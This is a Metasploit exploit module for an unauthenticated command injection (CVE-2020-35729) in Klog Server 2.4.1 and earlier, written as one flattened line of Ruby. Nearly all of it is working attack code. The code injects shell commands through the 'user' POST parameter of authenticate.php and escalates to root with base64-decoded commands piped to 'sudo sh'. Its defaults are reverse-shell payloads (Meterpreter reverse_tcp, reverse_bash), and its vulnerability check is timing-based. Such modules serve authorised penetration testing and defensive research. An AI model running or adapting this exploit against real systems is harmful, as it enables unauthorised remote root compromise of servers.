## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Klog Server authenticate.php user Unauthenticated Command Injection', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in Klog Server versions 2.4.1 and prior. The `authenticate.php` file uses the `user` HTTP POST parameter in a call to the `shell_exec()` PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The sudo configuration permits the apache user to execute any command as root without providing a password, resulting in privileged command execution as root. This module has been successfully tested on Klog Server version 2.4.1 virtual appliance. }, 'License' => MSF_LICENSE, 'Author' => [ 'b3kc4t', # Vulnerability discovery and exploit 'Metin Yunus Kandemir', # Metasploit module 'bcoles', # Metasploit module ], 'References' => [ ['CVE', '2020-35729'], ['CWE', '78'], ['EDB', '49366'], ['EDB', '49474'], ['PACKETSTORM', '160798'], ['PACKETSTORM', '161123'], ['URL', 'https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER'], ['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection'] ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[unix linux], 'Targets' => [ [ 'Linux (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux (cmd)', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], ], 'Privileged' => true, 'DisclosureDate' => '2020-12-27', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']), OptBool.new('USE_SUDO', [true, 'Execute payload as root using sudo', true]) ] ) end def login(user, pass) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'actions', 'authenticate.php'), 'vars_post' => { 'user' => user, 'pswd' => pass } }) end def execute_command(cmd, _opts = {}) user = "#{rand_text_alpha(8..12)}\" & " if datastore['USE_SUDO'] user << "echo #{Rex::Text.encode_base64(cmd)}|base64 -d|sudo sh" else user << cmd end user << ' & echo "' pass = rand_text_alpha(8..12) login(user, pass) end def check sleep = rand(9..11) t1 = Time.now.to_i res = execute_command("sleep #{sleep}") t2 = Time.now.to_i unless res return CheckCode::Safe('Connection failed') end unless res.code == 302 && res.headers['location'].to_s.include?('login.php?error') return CheckCode::Safe("Unexpected reply (HTTP #{res.code}). Expected redirect (HTTP 302) to login error page.") end diff = t2 - t1 if diff < sleep return CheckCode::Safe("No response within the expected period of time (#{sleep} seconds).") end CheckCode::Vulnerable("Response received after #{diff} seconds.") end def exploit if target.arch.first == ARCH_CMD execute_command(payload.encoded) else execute_cmdstager(background: true) end end end